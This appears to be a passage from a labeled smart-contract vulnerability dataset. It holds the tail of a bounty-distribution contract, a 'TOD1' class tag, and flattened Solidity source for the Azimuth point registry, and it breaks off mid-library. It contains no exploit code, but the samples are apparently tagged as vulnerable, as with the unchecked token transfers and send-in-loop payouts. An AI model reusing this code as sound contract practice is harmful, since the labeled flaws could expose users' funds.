== _amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < _amounts.length; j++) { totalAmount = SafeMath.add(totalAmount, _amounts[j]); } require(tokens[_token][_host] >= totalAmount); tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], totalAmount); if (_token == address(0)) { for (uint i = 0; i < _hunters.length; i++) { require(_hunters[i].send(_amounts[i])); emit Distribution(_token, _host, _hunters[i], _amounts[i]); } } else { for (uint k = 0; k < _hunters.length; k++) { ERC20(_token).transfer(_hunters[k], _amounts[k]); emit Distribution(_token, _host, _hunters[k], _amounts[k]); } } } function distributeTokenToAddressesAndAmountsWithoutHost(address _token, address[] _hunters, uint256[] _amounts) external onlyOwner { require(_hunters.length == _amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < _amounts.length; j++) { totalAmount = SafeMath.add(totalAmount, _amounts[j]); } if (_token == address(0)) { require(address(this).balance >= totalAmount); for (uint i = 0; i < _hunters.length; i++) { require(_hunters[i].send(_amounts[i])); emit Distribution(_token, this, _hunters[i], _amounts[i]); } } else { require(ERC20(_token).balanceOf(this) >= totalAmount); for (uint k = 0; k < _hunters.length; k++) { ERC20(_token).transfer(_hunters[k], _amounts[k]); emit Distribution(_token, this, _hunters[k], _amounts[k]); } } } function distributeWithTransferFrom(address _token, address _ownerOfTokens, address[] _hunters, uint256[] _amounts) external onlyOwner { require(_token != address(0)); require(_hunters.length == _amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < _amounts.length; j++) { totalAmount = SafeMath.add(totalAmount, _amounts[j]); } require(ERC20(_token).allowance(_ownerOfTokens, this) >= totalAmount); for (uint i = 0; i < _hunters.length; i++) { ERC20(_token).transferFrom(_ownerOfTokens, _hunters[i], _amounts[i]); emit Distribution(_token, this, _hunters[i], _amounts[i]); } } // in case of emergency function approveToPullOutTokens(address _token, address _receiver, uint256 _amount) external onlyOwner { ERC20(_token).approve(_receiver, _amount); } }
TOD1
pragma solidity ^0.4.24; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // contract that uses the Azimuth data contract /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // the azimuth data store // https://azimuth.network // Azimuth: point state data contract // // This contract is used for storing all data related to Azimuth points // and their ownership. Consider this contract the Azimuth ledger. // // It also contains permissions data, which ties in to ERC721 // functionality. Operators of an address are allowed to transfer // ownership of all points owned by their associated address // (ERC721's approveAll()). A transfer proxy is allowed to transfer // ownership of a single point (ERC721's approve()). // Separate from ERC721 are managers, assigned per point. They are // allowed to perform "low-impact" operations on the owner's points, // like configuring public keys and making escape requests. // // Since data stores are difficult to upgrade, this contract contains // as little actual business logic as possible. Instead, the data stored // herein can only be modified by this contract's owner, which can be // changed and is thus upgradable/replaceable. // // This contract will be owned by the Ecliptic contract. // contract Azimuth is Ownable { // // Events // // OwnerChanged: :point is now owned by :owner // event OwnerChanged(uint32 indexed point, address indexed owner); // Activated: :point is now active // event Activated(uint32 indexed point); // Spawned: :prefix has spawned :child // event Spawned(uint32 indexed prefix, uint32 indexed child); // EscapeRequested: :point has requested a new :sponsor // event EscapeRequested(uint32 indexed point, uint32 indexed sponsor); // EscapeCanceled: :point's :sponsor request was canceled or rejected // event EscapeCanceled(uint32 indexed point, uint32 indexed sponsor); // EscapeAccepted: :point confirmed with a new :sponsor // event EscapeAccepted(uint32 indexed point, uint32 indexed sponsor); // LostSponsor: :point's :sponsor is now refusing it service // event LostSponsor(uint32 indexed point, uint32 indexed sponsor); // ChangedKeys: :point has new network public keys // event ChangedKeys( uint32 indexed point, bytes32 encryptionKey, bytes32 authenticationKey, uint32 cryptoSuiteVersion, uint32 keyRevisionNumber ); // BrokeContinuity: :point has a new continuity number, :number // event BrokeContinuity(uint32 indexed point, uint32 number); // ChangedSpawnProxy: :spawnProxy can now spawn using :point // event ChangedSpawnProxy(uint32 indexed point, address indexed spawnProxy); // ChangedTransferProxy: :transferProxy can now transfer ownership of :point // event ChangedTransferProxy( uint32 indexed point, address indexed transferProxy ); // ChangedManagementProxy: :managementProxy can now manage :point // event ChangedManagementProxy( uint32 indexed point, address indexed managementProxy ); // ChangedVotingProxy: :votingProxy can now vote using :point // event ChangedVotingProxy(uint32 indexed point, address indexed votingProxy); // ChangedDns: dnsDomains have been updated // event ChangedDns(string primary, string secondary, string tertiary); // // Structures // // Size: kinds of points registered on-chain // // NOTE: the order matters, because of Solidity enum numbering // enum Size { Galaxy, // = 0 Star, // = 1 Planet // = 2 } // Point: state of a point // // While the ordering of the struct members is semantically chaotic, // they are ordered to tightly pack them into Ethereum's 32-byte storage // slots, which reduces gas costs for some function calls. // The comment ticks indicate assumed slot boundaries. // struct Point { // encryptionKey: (curve25519) encryption public key, or 0 for none // bytes32 encryptionKey; // // authenticationKey: (ed25519) authentication public key, or 0 for none // bytes32 authenticationKey; // // spawned: for stars and galaxies, all :active children // uint32[] spawned; // // hasSponsor: true if the sponsor still supports the point // bool hasSponsor; // active: whether point can be linked // // false: point belongs to prefix, cannot be configured or linked // true: point no longer belongs to prefix, can be configured and linked // bool active; // escapeRequested: true if the point has requested to change sponsors // bool escapeRequested; // sponsor: the point that supports this one on the network, or, // if :hasSponsor is false, the last point that supported it. // (by default, the point's half-width prefix) // uint32 sponsor; // escapeRequestedTo: if :escapeRequested is true, new sponsor requested // uint32 escapeRequestedTo; // cryptoSuiteVersion: version of the crypto suite used for the pubkeys // uint32 cryptoSuiteVersion; // keyRevisionNumber: incremented every time the public keys change // uint32 keyRevisionNumber; // continuityNumber: incremented to indicate network-side state loss // uint32 continuityNumber; } // Deed: permissions for a point // struct Deed { // owner: address that owns this point // address owner; // managementProxy: 0, or another address with the right to perform // low-impact, managerial operations on this point // address managementProxy; // spawnProxy: 0, or another address with the right to spawn children // of this point // address spawnProxy; // votingProxy: 0, or another address with the right to vote as this point // address votingProxy; // transferProxy: 0, or another address with the right to transfer // ownership of this point // address transferProxy; } // // General state // // points: per point, general network-relevant point state // mapping(uint32 => Point) public points; // rights: per point, on-chain ownership and permissions // mapping(uint32 => Deed) public rights; // operators: per owner, per address, has the right to transfer ownership // of all the owner's points (ERC721) // mapping(address => mapping(address => bool)) public operators; // dnsDomains: base domains for contacting galaxies // // dnsDomains[0] is primary, the others are used as fallbacks // string[3] public dnsDomains; // // Lookups // // sponsoring: per point, the points they are sponsoring // mapping(uint32 => uint32[]) public sponsoring; // sponsoringIndexes: per point, per point, (index + 1) in // the sponsoring array // mapping(uint32 => mapping(uint32 => uint256)) public sponsoringIndexes; // escapeRequests: per point, the points they have open escape requests from // mapping(uint32 => uint32[]) public escapeRequests; // escapeRequestsIndexes: per point, per point, (index + 1) in // the escapeRequests array // mapping(uint32 => mapping(uint32 => uint256)) public escapeRequestsIndexes; // pointsOwnedBy: per address, the points they own // mapping(address => uint32[]) public pointsOwnedBy; // pointOwnerIndexes: per owner, per point, (index + 1) in // the pointsOwnedBy array // // We delete owners by moving the last entry in the array to the // newly emptied slot, which is (n - 1) where n is the value of // pointOwnerIndexes[owner][point]. // mapping(address => mapping(uint32 => uint256)) public pointOwnerIndexes; // managerFor: per address, the points they are the management proxy for // mapping(address => uint32[]) public managerFor; // managerForIndexes: per address, per point, (index + 1) in // the managerFor array // mapping(address => mapping(uint32 => uint256)) public managerForIndexes; // spawningFor: per address, the points they can spawn with // mapping(address => uint32[]) public spawningFor; // spawningForIndexes: per address, per point, (index + 1) in // the spawningFor array // mapping(address => mapping(uint32 => uint256)) public spawningForIndexes; // votingFor: per address, the points they can vote with // mapping(address => uint32[]) public votingFor; // votingForIndexes: per address, per point, (index + 1) in // the votingFor array // mapping(address => mapping(uint32 => uint256)) public votingForIndexes; // transferringFor: per address, the points they can transfer // mapping(address => uint32[]) public transferringFor; // transferringForIndexes: per address, per point, (index + 1) in // the transferringFor array // mapping(address => mapping(uint32 => uint256)) public transferringForIndexes; // // Logic // // constructor(): configure default dns domains // constructor() public { setDnsDomains("example.com", "example.com", "example.com"); } // setDnsDomains(): set the base domains used for contacting galaxies // // Note: since a string is really just a byte[], and Solidity can't // work with two-dimensional arrays yet, we pass in the three // domains as individual strings. // function setDnsDomains(string _primary, string _secondary, string _tertiary) onlyOwner public { dnsDomains[0] = _primary; dnsDomains[1] = _secondary; dnsDomains[2] = _tertiary; emit ChangedDns(_primary, _secondary, _tertiary); } // // Point reading // // isActive(): return true if _point is active // function isActive(uint32 _point) view external returns (bool equals) { return points[_point].active; } // getKeys(): returns the public keys and their details, as currently // registered for _point // function getKeys(uint32 _point) view external returns (bytes32 crypt, bytes32 auth, uint32 suite, uint32 revision) { Point storage point = points[_point]; return (point.encryptionKey, point.authenticationKey, point.cryptoSuiteVersion, point.keyRevisionNumber); } // getKeyRevisionNumber(): gets the revision number of _point's current // public keys // function getKeyRevisionNumber(uint32 _point) view external returns (uint32 revision) { return points[_point].keyRevisionNumber; } // hasBeenLinked(): returns true if the point has ever been assigned keys // function hasBeenLinked(uint32 _point) view external returns (bool result) { return ( points[_point].keyRevisionNumber > 0 ); } // isLive(): returns true if _point currently has keys properly configured // function isLive(uint32 _point) view external returns (bool result) { Point storage point = points[_point]; return ( point.encryptionKey != 0 && point.authenticationKey != 0 && point.cryptoSuiteVersion != 0 ); } // getContinuityNumber(): returns _point's current continuity number // function getContinuityNumber(uint32 _point) view external returns (uint32 continuityNumber) { return points[_point].continuityNumber; } // getSpawnCount(): return the number of children spawned by _point // function getSpawnCount(uint32 _point) view external returns (uint32 spawnCount) { uint256 len = points[_point].spawned.length; assert(len < 2**32); return uint32(len); } // getSpawned(): return array of points created under _point // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSpawned(uint32 _point) view external returns (uint32[] spawned) { return points[_point].spawned; } // hasSponsor(): returns true if _point's sponsor is providing it service // function hasSponsor(uint32 _point) view external returns (bool has) { return points[_point].hasSponsor; } // getSponsor(): returns _point's current (or most recent) sponsor // function getSponsor(uint32 _point) view external returns (uint32 sponsor) { return points[_point].sponsor; } // isSponsor(): returns true if _sponsor is currently providing service // to _point // function isSponsor(uint32 _point, uint32 _sponsor) view external returns (bool result) { Point storage point = points[_point]; return ( point.hasSponsor && (point.sponsor == _sponsor) ); } // getSponsoringCount(): returns the number of points _sponsor is // providing service to // function getSponsoringCount(uint32 _sponsor) view external returns (uint256 count) { return sponsoring[_sponsor].length; } // getSponsoring(): returns a list of points _sponsor is providing // service to // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSponsoring(uint32 _sponsor) view external returns (uint32[] sponsees) { return sponsoring[_sponsor]; } // escaping // isEscaping(): returns true if _point has an outstanding escape request // function isEscaping(uint32 _point) view external returns (bool escaping) { return points[_point].escapeRequested; } // getEscapeRequest(): returns _point's current escape request // // the returned escape request is only valid as long as isEscaping() // returns true // function getEscapeRequest(uint32 _point) view external returns (uint32 escape) { return points[_point].escapeRequestedTo; } // isRequestingEscapeTo(): returns true if _point has an outstanding // escape request targetting _sponsor // function isRequestingEscapeTo(uint32 _point, uint32 _sponsor) view public returns (bool equals) { Point storage point = points[_point]; return (point.escapeRequested && (point.escapeRequestedTo == _sponsor)); } // getEscapeRequestsCount(): returns the number of points _sponsor // is providing service to // function getEscapeRequestsCount(uint32 _sponsor) view external returns (uint256 count) { return escapeRequests[_sponsor].length; } // getEscapeRequests(): get the points _sponsor has received escape // requests from // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getEscapeRequests(uint32 _sponsor) view external returns (uint32[] requests) { return escapeRequests[_sponsor]; } // // Point writing // // activatePoint(): activate a point, register it as spawned by its prefix // function activatePoint(uint32 _point) onlyOwner external { // make a point active, setting its sponsor to its prefix // Point storage point = points[_point]; require(!point.active); point.active = true; registerSponsor(_point, true, getPrefix(_point)); emit Activated(_point); } // setKeys(): set network public keys of _point to _encryptionKey and // _authenticationKey, with the specified _cryptoSuiteVersion // function setKeys(uint32 _point, bytes32 _encryptionKey, bytes32 _authenticationKey, uint32 _cryptoSuiteVersion) onlyOwner external { Point storage point = points[_point]; if ( point.encryptionKey == _encryptionKey && point.authenticationKey == _authenticationKey && point.cryptoSuiteVersion == _cryptoSuiteVersion ) { return; } point.encryptionKey = _encryptionKey; point.authenticationKey = _authenticationKey; point.cryptoSuiteVersion = _cryptoSuiteVersion; point.keyRevisionNumber++; emit ChangedKeys(_point, _encryptionKey, _authenticationKey, _cryptoSuiteVersion, point.keyRevisionNumber); } // incrementContinuityNumber(): break continuity for _point // function incrementContinuityNumber(uint32 _point) onlyOwner external { Point storage point = points[_point]; point.continuityNumber++; emit BrokeContinuity(_point, point.continuityNumber); } // registerSpawn(): add a point to its prefix's list of spawned points // function registerSpawned(uint32 _point) onlyOwner external { // if a point is its own prefix (a galaxy) then don't register it // uint32 prefix = getPrefix(_point); if (prefix == _point) { return; } // register a new spawned point for the prefix // points[prefix].spawned.push(_point); emit Spawned(prefix, _point); } // loseSponsor(): indicates that _point's sponsor is no longer providing // it service // function loseSponsor(uint32 _point) onlyOwner external { Point storage point = points[_point]; if (!point.hasSponsor) { return; } registerSponsor(_point, false, point.sponsor); emit LostSponsor(_point, point.sponsor); } // setEscapeRequest(): for _point, start an escape request to _sponsor // function setEscapeRequest(uint32 _point, uint32 _sponsor) onlyOwner external { if (isRequestingEscapeTo(_point, _sponsor)) { return; } registerEscapeRequest(_point, true, _sponsor); emit EscapeRequested(_point, _sponsor); } // cancelEscape(): for _point, stop the current escape request, if any // function cancelEscape(uint32 _point) onlyOwner external { Point storage point = points[_point]; if (!point.escapeRequested) { return; } uint32 request = point.escapeRequestedTo; registerEscapeRequest(_point, false, 0); emit EscapeCanceled(_point, request); } // doEscape(): perform the requested escape // function doEscape(uint32 _point) onlyOwner external { Point storage point = points[_point]; require(point.escapeRequested); registerSponsor(_point, true, point.escapeRequestedTo); registerEscapeRequest(_point, false, 0); emit EscapeAccepted(_point, point.sponsor); } // // Point utils // // getPrefix(): compute prefix ("parent") of _point // function getPrefix(uint32 _point) pure public returns (uint16 prefix) { if (_point < 0x10000) { return uint16(_point % 0x100); } return uint16(_point % 0x10000); } // getPointSize(): return the size of _point // function getPointSize(uint32 _point) external pure returns (Size _size) { if (_point < 0x100) return Size.Galaxy; if (_point < 0x10000) return Size.Star; return Size.Planet; } // internal use // registerSponsor(): set the sponsorship state of _point and update the // reverse lookup for sponsors // function registerSponsor(uint32 _point, bool _hasSponsor, uint32 _sponsor) internal { Point storage point = points[_point]; bool had = point.hasSponsor; uint32 prev = point.sponsor; // if we didn't have a sponsor, and won't get one, // or if we get the sponsor we already have, // nothing will change, so jump out early. // if ( (!had && !_hasSponsor) || (had && _hasSponsor && prev == _sponsor) ) { return; } // if the point used to have a different sponsor, do some gymnastics // to keep the reverse lookup gapless. delete the point from the old // sponsor's list, then fill that gap with the list tail. // if (had) { // i: current index in previous sponsor's list of sponsored points // uint256 i = sponsoringIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :sponsoringIndexes reference // uint32[] storage prevSponsoring = sponsoring[prev]; uint256 last = prevSponsoring.length - 1; uint32 moved = prevSponsoring[last]; prevSponsoring[i] = moved; sponsoringIndexes[prev][moved] = i + 1; // delete the last item // delete(prevSponsoring[last]); prevSponsoring.length = last; sponsoringIndexes[prev][_point] = 0; } if (_hasSponsor) { uint32[] storage newSponsoring = sponsoring[_sponsor]; newSponsoring.push(_point); sponsoringIndexes[_sponsor][_point] = newSponsoring.length; } point.sponsor = _sponsor; point.hasSponsor = _hasSponsor; } // registerEscapeRequest(): set the escape state of _point and update the // reverse lookup for sponsors // function registerEscapeRequest( uint32 _point, bool _isEscaping, uint32 _sponsor ) internal { Point storage point = points[_point]; bool was = point.escapeRequested; uint32 prev = point.escapeRequestedTo; // if we weren't escaping, and won't be, // or if we were escaping, and the new target is the same, // nothing will change, so jump out early. // if ( (!was && !_isEscaping) || (was && _isEscaping && prev == _sponsor) ) { return; } // if the point used to have a different request, do some gymnastics // to keep the reverse lookup gapless. delete the point from the old // sponsor's list, then fill that gap with the list tail. // if (was) { // i: current index in previous sponsor's list of sponsored points // uint256 i = escapeRequestsIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :escapeRequestsIndexes reference // uint32[] storage prevRequests = escapeRequests[prev]; uint256 last = prevRequests.length - 1; uint32 moved = prevRequests[last]; prevRequests[i] = moved; escapeRequestsIndexes[prev][moved] = i + 1; // delete the last item // delete(prevRequests[last]); prevRequests.length = last; escapeRequestsIndexes[prev][_point] = 0; } if (_isEscaping) { uint32[] storage newRequests = escapeRequests[_sponsor]; newRequests.push(_point); escapeRequestsIndexes[_sponsor][_point] = newRequests.length; } point.escapeRequestedTo = _sponsor; point.escapeRequested = _isEscaping; } // // Deed reading // // owner // getOwner(): return owner of _point // function getOwner(uint32 _point) view external returns (address owner) { return rights[_point].owner; } // isOwner(): true if _point is owned by _address // function isOwner(uint32 _point, address _address) view external returns (bool result) { return (rights[_point].owner == _address); } // getOwnedPointCount(): return length of array of points that _whose owns // function getOwnedPointCount(address _whose) view external returns (uint256 count) { return pointsOwnedBy[_whose].length; } // getOwnedPoints(): return array of points that _whose owns // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getOwnedPoints(address _whose) view external returns (uint32[] ownedPoints) { return pointsOwnedBy[_whose]; } // getOwnedPointAtIndex(): get point at _index from array of points that // _whose owns // function getOwnedPointAtIndex(address _whose, uint256 _index) view external returns (uint32 point) { uint32[] storage owned = pointsOwnedBy[_whose]; require(_index < owned.length); return owned[_index]; } // management proxy // getManagementProxy(): returns _point's current management proxy // function getManagementProxy(uint32 _point) view external returns (address manager) { return rights[_point].managementProxy; } // isManagementProxy(): returns true if _proxy is _point's management proxy // function isManagementProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].managementProxy == _proxy); } // canManage(): true if _who is the owner or manager of _point // function canManage(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.managementProxy) ) ); } // getManagerForCount(): returns the amount of points _proxy can manage // function getManagerForCount(address _proxy) view external returns (uint256 count) { return managerFor[_proxy].length; } // getManagerFor(): returns the points _proxy can manage // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getManagerFor(address _proxy) view external returns (uint32[] mfor) { return managerFor[_proxy]; } // spawn proxy // getSpawnProxy(): returns _point's current spawn proxy // function getSpawnProxy(uint32 _point) view external returns (address spawnProxy) { return rights[_point].spawnProxy; } // isSpawnProxy(): returns true if _proxy is _point's spawn proxy // function isSpawnProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].spawnProxy == _proxy); } // canSpawnAs(): true if _who is the owner or spawn proxy of _point // function canSpawnAs(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.spawnProxy) ) ); } // getSpawningForCount(): returns the amount of points _proxy // can spawn with // function getSpawningForCount(address _proxy) view external returns (uint256 count) { return spawningFor[_proxy].length; } // getSpawningFor(): get the points _proxy can spawn with // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSpawningFor(address _proxy) view external returns (uint32[] sfor) { return spawningFor[_proxy]; } // voting proxy // getVotingProxy(): returns _point's current voting proxy // function getVotingProxy(uint32 _point) view external returns (address voter) { return rights[_point].votingProxy; } // isVotingProxy(): returns true if _proxy is _point's voting proxy // function isVotingProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].votingProxy == _proxy); } // canVoteAs(): true if _who is the owner of _point, // or the voting proxy of _point's owner // function canVoteAs(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.votingProxy) ) ); } // getVotingForCount(): returns the amount of points _proxy can vote as // function getVotingForCount(address _proxy) view external returns (uint256 count) { return votingFor[_proxy].length; } // getVotingFor(): returns the points _proxy can vote as // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getVotingFor(address _proxy) view external returns (uint32[] vfor) { return votingFor[_proxy]; } // transfer proxy // getTransferProxy(): returns _point's current transfer proxy // function getTransferProxy(uint32 _point) view external returns (address transferProxy) { return rights[_point].transferProxy; } // isTransferProxy(): returns true if _proxy is _point's transfer proxy // function isTransferProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].transferProxy == _proxy); } // canTransfer(): true if _who is the owner or transfer proxy of _point, // or is an operator for _point's current owner // function canTransfer(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.transferProxy) || operators[deed.owner][_who] ) ); } // getTransferringForCount(): returns the amount of points _proxy // can transfer // function getTransferringForCount(address _proxy) view external returns (uint256 count) { return transferringFor[_proxy].length; } // getTransferringFor(): get the points _proxy can transfer // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getTransferringFor(address _proxy) view external returns (uint32[] tfor) { return transferringFor[_proxy]; } // isOperator(): returns true if _operator is allowed to transfer // ownership of _owner's points // function isOperator(address _owner, address _operator) view external returns (bool result) { return operators[_owner][_operator]; } // // Deed writing // // setOwner(): set owner of _point to _owner // // Note: setOwner() only implements the minimal data storage // logic for a transfer; the full transfer is implemented in // Ecliptic. // // Note: _owner must not be the zero address. // function setOwner(uint32 _point, address _owner) onlyOwner external { // prevent burning of points by making zero the owner // require(0x0 != _owner); // prev: previous owner, if any // address prev = rights[_point].owner; if (prev == _owner) { return; } // if the point used to have a different owner, do some gymnastics to // keep the list of owned points gapless. delete this point from the // list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous owner's list of owned points // uint256 i = pointOwnerIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :pointOwnerIndexes reference // uint32[] storage owner = pointsOwnedBy[prev]; uint256 last = owner.length - 1; uint32 moved = owner[last]; owner[i] = moved; pointOwnerIndexes[prev][moved] = i + 1; // delete the last item // delete(owner[last]); owner.length = last; pointOwnerIndexes[prev][_point] = 0; } // update the owner list and the owner's index list // rights[_point].owner = _owner; pointsOwnedBy[_owner].push(_point); pointOwnerIndexes[_owner][_point] = pointsOwnedBy[_owner].length; emit OwnerChanged(_point, _owner); } // setManagementProxy(): makes _proxy _point's management proxy // function setManagementProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.managementProxy; if (prev == _proxy) { return; } // if the point used to have a different manager, do some gymnastics // to keep the reverse lookup gapless. delete the point from the // old manager's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous manager's list of managed points // uint256 i = managerForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :managerForIndexes reference // uint32[] storage prevMfor = managerFor[prev]; uint256 last = prevMfor.length - 1; uint32 moved = prevMfor[last]; prevMfor[i] = moved; managerForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevMfor[last]); prevMfor.length = last; managerForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage mfor = managerFor[_proxy]; mfor.push(_point); managerForIndexes[_proxy][_point] = mfor.length; } deed.managementProxy = _proxy; emit ChangedManagementProxy(_point, _proxy); } // setSpawnProxy(): makes _proxy _point's spawn proxy // function setSpawnProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.spawnProxy; if (prev == _proxy) { return; } // if the point used to have a different spawn proxy, do some // gymnastics to keep the reverse lookup gapless. delete the point // from the old proxy's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous proxy's list of spawning points // uint256 i = spawningForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :spawningForIndexes reference // uint32[] storage prevSfor = spawningFor[prev]; uint256 last = prevSfor.length - 1; uint32 moved = prevSfor[last]; prevSfor[i] = moved; spawningForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevSfor[last]); prevSfor.length = last; spawningForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage sfor = spawningFor[_proxy]; sfor.push(_point); spawningForIndexes[_proxy][_point] = sfor.length; } deed.spawnProxy = _proxy; emit ChangedSpawnProxy(_point, _proxy); } // setVotingProxy(): makes _proxy _point's voting proxy // function setVotingProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.votingProxy; if (prev == _proxy) { return; } // if the point used to have a different voter, do some gymnastics // to keep the reverse lookup gapless. delete the point from the // old voter's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous voter's list of points it was // voting for // uint256 i = votingForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :votingForIndexes reference // uint32[] storage prevVfor = votingFor[prev]; uint256 last = prevVfor.length - 1; uint32 moved = prevVfor[last]; prevVfor[i] = moved; votingForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevVfor[last]); prevVfor.length = last; votingForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage vfor = votingFor[_proxy]; vfor.push(_point); votingForIndexes[_proxy][_point] = vfor.length; } deed.votingProxy = _proxy; emit ChangedVotingProxy(_point, _proxy); } // setManagementProxy(): makes _proxy _point's transfer proxy // function setTransferProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.transferProxy; if (prev == _proxy) { return; } // if the point used to have a different transfer proxy, do some // gymnastics to keep the reverse lookup gapless. delete the point // from the old proxy's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous proxy's list of transferable points // uint256 i = transferringForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :transferringForIndexes reference // uint32[] storage prevTfor = transferringFor[prev]; uint256 last = prevTfor.length - 1; uint32 moved = prevTfor[last]; prevTfor[i] = moved; transferringForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevTfor[last]); prevTfor.length = last; transferringForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage tfor = transferringFor[_proxy]; tfor.push(_point); transferringForIndexes[_proxy][_point] = tfor.length; } deed.transferProxy = _proxy; emit ChangedTransferProxy(_point, _proxy); } // setOperator(): dis/allow _operator to transfer ownership of all points // owned by _owner // // operators are part of the ERC721 standard // function setOperator(address _owner, address _operator, bool _approved) onlyOwner external { operators[_owner][_operator] = _approved; } } // ReadsAzimuth: referring to and testing against the Azimuth // data contract // // To avoid needless repetition, this contract provides common // checks and operations using the Azimuth contract. // contract ReadsAzimuth { // azimuth: points data storage contract. // Azimuth public azimuth; // constructor(): set the Azimuth data contract's address // constructor(Azimuth _azimuth) public { azimuth = _azimuth; } // activePointOwner(): require that :msg.sender is the owner of _point, // and that _point is active // modifier activePointOwner(uint32 _point) { require( azimuth.isOwner(_point, msg.sender) && azimuth.isActive(_point) ); _; } // activePointManager(): require that :msg.sender can manage _point, // and that _point is active // modifier activePointManager(uint32 _point) { require( azimuth.canManage(_point, msg.sender) && azimuth.isActive(_point) ); _; } } // bare-bones sample planet sale contract // the azimuth logic contract // https://azimuth.network // base contract for the azimuth logic contract // encapsulates dependencies all ecliptics need. // the azimuth polls data store // https://azimuth.network /** * @title SafeMath8 * @dev Math operations for uint8 with safety checks that throw on error */ library SafeMath8 { function mul(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint8 a, uint8 b) internal pure returns (uint8) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint8 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint8 a, uint8 b) internal pure returns (uint8) { assert(b <= a); return a - b; } function add(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a + b; assert(c >= a); return c; } } /** * @title SafeMath16 * @dev Math operations for uint16 with safety checks that throw on error */ library SafeMath16 { function mul(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint16 a, uint16 b) internal pure returns (uint16) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint16 c = a / b; // assert(a == b * c + a % b); // There is no case 